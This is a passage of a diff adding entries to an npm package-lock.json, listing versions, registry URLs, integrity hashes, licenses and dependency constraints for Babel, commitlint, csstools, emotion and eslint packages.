"^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.7.tgz", + "integrity": "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-globals": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.7.tgz", + "integrity": "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", + "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@bramus/specificity": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz", + "integrity": "sha512-ctxtJ/eA+t+6q2++vj5j7FYX3nRu311q1wfYH3xjlLOsczhlhxAg2FWNUXhpGvAw3BWo1xBcvOV6/YLc2r5FJw==", + "dev": true, + "license": "MIT", + "dependencies": { + "css-tree": "^3.0.0" + }, + "bin": { + "specificity": "bin/cli.js" + } + }, + "node_modules/@commitlint/cli": { + "version": "21.2.1", + "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-21.2.1.tgz", + "integrity": "sha512-blsZGe29hJ72VGEFVl72IVYX+1vsfINpjA9yWQA6i7OKD/McGEOXg08sKIRKjFk4JvzhV/9n0l3i6NooPLTNfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/config-conventional": "^21.2.0", + "@commitlint/format": "^21.2.0", + "@commitlint/lint": "^21.2.0", + "@commitlint/load": "^21.2.0", + "@commitlint/read": "^21.2.1", + "@commitlint/types": "^21.2.0", + "tinyexec": "^1.0.0", + "yargs": "^18.0.0" + }, + "bin": { + "commitlint": "cli.js" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/config-conventional": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-21.2.0.tgz", + "integrity": "sha512-Qf8WRDVcyVd14if6VTWenebxFbKnVnbzPUJjlzjkyJGeHK2xCGd63Dr1XZzj0plXKQb9P0BfOxoc1HVeCo2BWQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/types": "^21.2.0", + "conventional-changelog-conventionalcommits": "^10.0.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/config-validator": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/config-validator/-/config-validator-21.2.0.tgz", + "integrity": "sha512-t7AzNHAKeIdo/3NRGwzpufKHsKkPHmFs/56N2Fnsh0/r0rGtnQzTxk6vnFgjaGr4hdSQKNB50/KAhR9Yk4LJKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/types": "^21.2.0", + "ajv": "^8.11.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/ensure": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-21.2.0.tgz", + "integrity": "sha512-76IF9vDNS13lAzEEik9eKwzt8f9hYhWiwVXZ2AnyLCz5/f511FsEQ3pw1X3/zSQpdRLQU7i5qDMVKyXi1GWjSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/types": "^21.2.0", + "es-toolkit": "^1.46.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/execute-rule": { + "version": "21.0.1", + "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-21.0.1.tgz", + "integrity": "sha512-RifH+FmImozKBE6mozhF4K3r2RRKP7SMi/Q/zLCmExtp5e05lhHOUYqGBlFBAGNHaZxU/WYw1XuugYK9jQzqnA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/format": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-21.2.0.tgz", + "integrity": "sha512-c4q64xaav2U83t7k7RyzJerBZurPer7FxUOY0RL5L/6CZijZ7K+s6HIBGIghj0ey1P2+seRX0J9XQYtDued6tg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/types": "^21.2.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/is-ignored": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-21.2.0.tgz", + "integrity": "sha512-4/eB0vBN7L88O/oC4ajAEqi7j2ZfNgxl/+11RfAV9YosejZgDXhY2C9VcHnHJhOzPLoSy5P3Mg/46kqeyJfXKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/types": "^21.2.0", + "semver": "^7.6.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/lint": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-21.2.0.tgz", + "integrity": "sha512-ceO5dp9pLjEZ6y6qbq/uXWXDPykqqlTsyzoQ0NzecpisSJhK3kTy9qzQoPeJuWG/IMNdV1lO0RgmzqoAlSi1uw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/is-ignored": "^21.2.0", + "@commitlint/parse": "^21.2.0", + "@commitlint/rules": "^21.2.0", + "@commitlint/types": "^21.2.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/load": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-21.2.0.tgz", + "integrity": "sha512-RjlzWQqruRwIenJEfZtq7kG97co97nKoHpflE5YnF61tDLXxHPrdWImgzw6VL6MlFyaOcVlk74eBV8ZQmc3oIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/config-validator": "^21.2.0", + "@commitlint/execute-rule": "^21.0.1", + "@commitlint/resolve-extends": "^21.2.0", + "@commitlint/types": "^21.2.0", + "cosmiconfig": "^9.0.1", + "cosmiconfig-typescript-loader": "^6.1.0", + "es-toolkit": "^1.46.0", + "is-plain-obj": "^4.1.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/message": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-21.2.0.tgz", + "integrity": "sha512-YxGoiXD/HXNXLJPrQwE5poXa+XH0CBEm+mdvbHQP0g6MV/dmJyUFCzPNzZbxL93GvZ70TmtTK0Z0/IBpAqHv8g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/parse": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-21.2.0.tgz", + "integrity": "sha512-QHWxG4d0PLTF634/AdyZ0MQS+CLn5YOuJlCFhMMlSGKFxzYGUetkHBj18xgBD+6fVzUrA2lrCdi/vlS2f/oYXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/types": "^21.2.0", + "conventional-changelog-angular": "^9.0.0", + "conventional-commits-parser": "^7.0.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/read": { + "version": "21.2.1", + "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-21.2.1.tgz", + "integrity": "sha512-hUW7EJQnNTL0vPOmVMNK4CrnrNBN0nN+JJHReFkdHO5y4iyHeEmTBwuC15OCqUTjxWo7idnH1LftfpWVIaPWIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/top-level": "^21.2.0", + "@commitlint/types": "^21.2.0", + "@conventional-changelog/git-client": "^3.0.0", + "tinyexec": "^1.0.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/resolve-extends": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-21.2.0.tgz", + "integrity": "sha512-4O/1j51+79Wth9s/MGxt/5gs0XYLDgNlYpltQfhAvLE0itusLKs9zruxbiNg1oOkmkb9L9L4USYGjEj7n87NxA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/config-validator": "^21.2.0", + "@commitlint/types": "^21.2.0", + "es-toolkit": "^1.46.0", + "global-directory": "^5.0.0", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/rules": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-21.2.0.tgz", + "integrity": "sha512-C2yXMNpiB8ETZKfx5JD8+ExgF8vTU1VQMKPSUUYwqKpw9oJWQBrlXBpdU038mj2WPjof7o9UzFpmTyBeGMZwZg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@commitlint/ensure": "^21.2.0", + "@commitlint/message": "^21.2.0", + "@commitlint/to-lines": "^21.0.1", + "@commitlint/types": "^21.2.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/to-lines": { + "version": "21.0.1", + "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-21.0.1.tgz", + "integrity": "sha512-bd1BFII7p1EQZre9Kaj+kKaMFP3cFCdt21K7DItVux9XP5WjLgJ0/Uy1pJJh9aPwVJ6SKg62PxqlZaHI8hQAXw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/top-level": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-21.2.0.tgz", + "integrity": "sha512-Y5gmQ+KxzqCrBFJfLvFEPvvwD3LDiNZoTT2yeFBm96M8qhmqSzQc5DvX3rheAaAMjyIvMXOCLS/mWfdpONsjyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@commitlint/types": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-21.2.0.tgz", + "integrity": "sha512-7zVFCDB2reMvJH5dmbKnOQPjZEvjdJTH8jc0U/PIPU1r3/+vf5pD1HlfitV2MWsWXrvu7u39iY1lyLUPOaN0Gw==", + "dev": true, + "license": "MIT", + "dependencies": { + "conventional-commits-parser": "^7.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@conventional-changelog/git-client": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@conventional-changelog/git-client/-/git-client-3.1.0.tgz", + "integrity": "sha512-Tqa/gHco2WJWa740NRjOrfKVvzIqxkZpecb8bemaQ8sKM5PXb1UK4uTyTb/1wIqNuOVaDOFxyBdhTIQZn6gdjQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@simple-libs/child-process-utils": "^2.0.0", + "@simple-libs/stream-utils": "^2.0.0", + "semver": "^7.5.2" + }, + "engines": { + "node": ">=22" + }, + "peerDependencies": { + "conventional-commits-filter": "^6.0.1", + "conventional-commits-parser": "^7.0.1" + }, + "peerDependenciesMeta": { + "conventional-commits-filter": { + "optional": true + }, + "conventional-commits-parser": { + "optional": true + } + } + }, + "node_modules/@conventional-changelog/template": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@conventional-changelog/template/-/template-1.2.1.tgz", + "integrity": "sha512-TzlTVpKPjaqW6qOYjQcYUDuGsLCNsvFHVBXkYGTAnf5V37jCWrE5haKNXzz0WZUtVHjrpV76L1buANjwXMfT8w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=22" + } + }, + "node_modules/@csstools/color-helpers": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.1.0.tgz", + "integrity": "sha512-064IFJdjTfUqnjpCVpMOdbr8FLQBhinbZj6yRv2An2E41O/pLEXqfFRWqGq/SxlE5PEUYTlvWsG2r8MswAVvkg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" + } + }, + "node_modules/@csstools/css-calc": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.1.tgz", + "integrity": "sha512-DtdHlgXh5ZkA43cwBcAm+huzgJiwx3ZTWVjBs94kwz2xKqSimDA3lBgCjphYgwgVUMWatSM0pDd8TILB1yrVVg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + } + }, + "node_modules/@csstools/css-color-parser": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.1.9.tgz", + "integrity": "sha512-paQcIaOO53Rk5+YrBaBjm/SgrV4INImjo2BT1DtQRYr+XeTRbeAYlS+jxXp9drqvKmtFnWRJKIalDLhZZDu42A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/color-helpers": "^6.1.0", + "@csstools/css-calc": "^3.2.1" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + } + }, + "node_modules/@csstools/css-parser-algorithms": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz", + "integrity": "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "@csstools/css-tokenizer": "^4.0.0" + } + }, + "node_modules/@csstools/css-syntax-patches-for-csstree": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.6.tgz", + "integrity": "sha512-TcJCWFbXLPpJYq6z7bfOyjWYJDiDg2/I4gyUC9pqPNqHFRIey0EB0q0L5cSnQDfWJg8Jd6VadakxdIez/3zkqQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "peerDependencies": { + "css-tree": "^3.2.1" + }, + "peerDependenciesMeta": { + "css-tree": { + "optional": true + } + } + }, + "node_modules/@csstools/css-tokenizer": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz", + "integrity": "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=20.19.0" + } + }, + "node_modules/@emnapi/core": { + "version": "1.11.2", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.11.2.tgz", + "integrity": "sha512-TC8MkTuZUtcTSiFeuC0ksCh9QIJ5+F21MvZ4Wn4ORfYaFJ/0dsiudv5tVkejgwZlwQ39jL9WWDe2lz8x0WglOA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.2.2", + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/runtime": { + "version": "1.11.2", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.2.tgz", + "integrity": "sha512-kyOl3X0DuTiT1h2ft8r2fYO8JYtU9a9Xis/zBSiGArNaagCOWx90N1k2wxp18czFDH+OgcWGb5ZP/XMt3dcyPA==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/wasi-threads": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.2.tgz", + "integrity": "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@emotion/babel-plugin": { + "version": "11.13.5", + "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.13.5.tgz", + "integrity": "sha512-pxHCpT2ex+0q+HH91/zsdHkw/lXd468DIN2zvfvLtPKLLMo6gQj7oLObq8PhkrxOZb/gGCq03S3Z7PDhS8pduQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/runtime": "^7.18.3", + "@emotion/hash": "^0.9.2", + "@emotion/memoize": "^0.9.0", + "@emotion/serialize": "^1.3.3", + "babel-plugin-macros": "^3.1.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^4.0.0", + "find-root": "^1.1.0", + "source-map": "^0.5.7", + "stylis": "4.2.0" + } + }, + "node_modules/@emotion/cache": { + "version": "11.14.0", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-11.14.0.tgz", + "integrity": "sha512-L/B1lc/TViYk4DcpGxtAVbx0ZyiKM5ktoIyafGkH6zg/tj+mA+NE//aPYKG0k8kCHSHVJrpLpcAlOBEXQ3SavA==", + "license": "MIT", + "dependencies": { + "@emotion/memoize": "^0.9.0", + "@emotion/sheet": "^1.4.0", + "@emotion/utils": "^1.4.2", + "@emotion/weak-memoize": "^0.4.0", + "stylis": "4.2.0" + } + }, + "node_modules/@emotion/hash": { + "version": "0.9.2", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.2.tgz", + "integrity": "sha512-MyqliTZGuOm3+5ZRSaaBGP3USLw6+EGykkwZns2EPC5g8jJ4z9OrdZY9apkl3+UP9+sdz76YYkwCKP5gh8iY3g==", + "license": "MIT" + }, + "node_modules/@emotion/is-prop-valid": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@emotion/is-prop-valid/-/is-prop-valid-1.4.0.tgz", + "integrity": "sha512-QgD4fyscGcbbKwJmqNvUMSE02OsHUa+lAWKdEUIJKgqe5IwRSKd7+KhibEWdaKwgjLj0DRSHA9biAIqGBk05lw==", + "license": "MIT", + "dependencies": { + "@emotion/memoize": "^0.9.0" + } + }, + "node_modules/@emotion/memoize": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.9.0.tgz", + "integrity": "sha512-30FAj7/EoJ5mwVPOWhAyCX+FPfMDrVecJAM+Iw9NRoSl4BBAQeqj4cApHHUXOVvIPgLVDsCFoz/hGD+5QQD1GQ==", + "license": "MIT" + }, + "node_modules/@emotion/react": { + "version": "11.14.0", + "resolved": "https://registry.npmjs.org/@emotion/react/-/react-11.14.0.tgz", + "integrity": "sha512-O000MLDBDdk/EohJPFUqvnp4qnHeYkVP5B0xEG0D/L7cOKP9kefu2DXn8dj74cQfsEzUqh+sr1RzFqiL1o+PpA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "@emotion/babel-plugin": "^11.13.5", + "@emotion/cache": "^11.14.0", + "@emotion/serialize": "^1.3.3", + "@emotion/use-insertion-effect-with-fallbacks": "^1.2.0", + "@emotion/utils": "^1.4.2", + "@emotion/weak-memoize": "^0.4.0", + "hoist-non-react-statics": "^3.3.1" + }, + "peerDependencies": { + "react": ">=16.8.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@emotion/serialize": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.3.3.tgz", + "integrity": "sha512-EISGqt7sSNWHGI76hC7x1CksiXPahbxEOrC5RjmFRJTqLyEK9/9hZvBbiYn70dw4wuwMKiEMCUlR6ZXTSWQqxA==", + "license": "MIT", + "dependencies": { + "@emotion/hash": "^0.9.2", + "@emotion/memoize": "^0.9.0", + "@emotion/unitless": "^0.10.0", + "@emotion/utils": "^1.4.2", + "csstype": "^3.0.2" + } + }, + "node_modules/@emotion/sheet": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-1.4.0.tgz", + "integrity": "sha512-fTBW9/8r2w3dXWYM4HCB1Rdp8NLibOw2+XELH5m5+AkWiL/KqYX6dc0kKYlaYyKjrQ6ds33MCdMPEwgs2z1rqg==", + "license": "MIT" + }, + "node_modules/@emotion/styled": { + "version": "11.14.1", + "resolved": "https://registry.npmjs.org/@emotion/styled/-/styled-11.14.1.tgz", + "integrity": "sha512-qEEJt42DuToa3gurlH4Qqc1kVpNq8wO8cJtDzU46TjlzWjDlsVyevtYCRijVq3SrHsROS+gVQ8Fnea108GnKzw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "@emotion/babel-plugin": "^11.13.5", + "@emotion/is-prop-valid": "^1.3.0", + "@emotion/serialize": "^1.3.3", + "@emotion/use-insertion-effect-with-fallbacks": "^1.2.0", + "@emotion/utils": "^1.4.2" + }, + "peerDependencies": { + "@emotion/react": "^11.0.0-rc.0", + "react": ">=16.8.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@emotion/unitless": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.10.0.tgz", + "integrity": "sha512-dFoMUuQA20zvtVTuxZww6OHoJYgrzfKM1t52mVySDJnMSEa08ruEvdYQbhvyu6soU+NeLVd3yKfTfT0NeV6qGg==", + "license": "MIT" + }, + "node_modules/@emotion/use-insertion-effect-with-fallbacks": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@emotion/use-insertion-effect-with-fallbacks/-/use-insertion-effect-with-fallbacks-1.2.0.tgz", + "integrity": "sha512-yJMtVdH59sxi/aVJBpk9FQq+OR8ll5GT8oWd57UpeaKEVGab41JWaCFA7FRLoMLloOZF/c/wsPoe+bfGmRKgDg==", + "license": "MIT", + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@emotion/utils": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.4.2.tgz", + "integrity": "sha512-3vLclRofFziIa3J2wDh9jjbkUz9qk5Vi3IZ/FSTKViB0k+ef0fPV7dYrUIugbgupYDx7v9ud/SjrtEP8Y4xLoA==", + "license": "MIT" + }, + "node_modules/@emotion/weak-memoize": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.4.0.tgz", + "integrity": "sha512-snKqtPW01tN0ui7yu9rGv69aJXr/a/Ywvl11sUjNtEcRc+ng/mQriFL0wLXMef74iHa/EkftbDzU9F8iFbH+zg==", + "license": "MIT" + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", + "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.23.5", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.23.5.tgz", + "integrity": "sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^3.0.5", + "debug": "^4.3.1", + "minimatch": "^10.2.4" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.6.0.tgz", + "integrity": "sha512-ii6Bw9jJ2zi2cWA2Z+9/QZ/+3DX6kwaV5Q986D/CdP3Lap3w/pgQZ373FV7byY/i7L4IRH/G43I5dz1ClsCbpA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/core": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-1.2.1.tgz", + "integrity": "sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/js": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-10.0.1.tgz", + "integrity": "sha512-zeR9k5pd4gxjZ0abRoIaxdc7I3nDktoXZk2qOv9gCNWx3mVwEn32VRhyLaRsDiJjTs0xq/T8mfPtyuXu7GWBcA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "eslint": "^10.0.0" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + } + } + }, + "node_modules/@eslint/object-schema": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-3.0.5.tgz", + "integrity": "sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.7.2.tgz", + "integrity": "sha512-+CNAzxglkrpNf/kKywqQfk74QjtceuOE7Qm+AF8miRvPF/wmmK5+OJOgVh3AVTT3RP2mH3+FOaxlE5v72owk0A==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1", + "levn": "^0.4.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@exodus/bytes": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz", + "integrity": "sha512-S6mL0yNB/Abt9Ei4tq8gDhcczc4S3+vQ4ra7vxnAf+YHC02srtqxKKZghx2Dq6p0e66THKwR6r8N6P95wEty7Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + }, + "peerDependencies": { 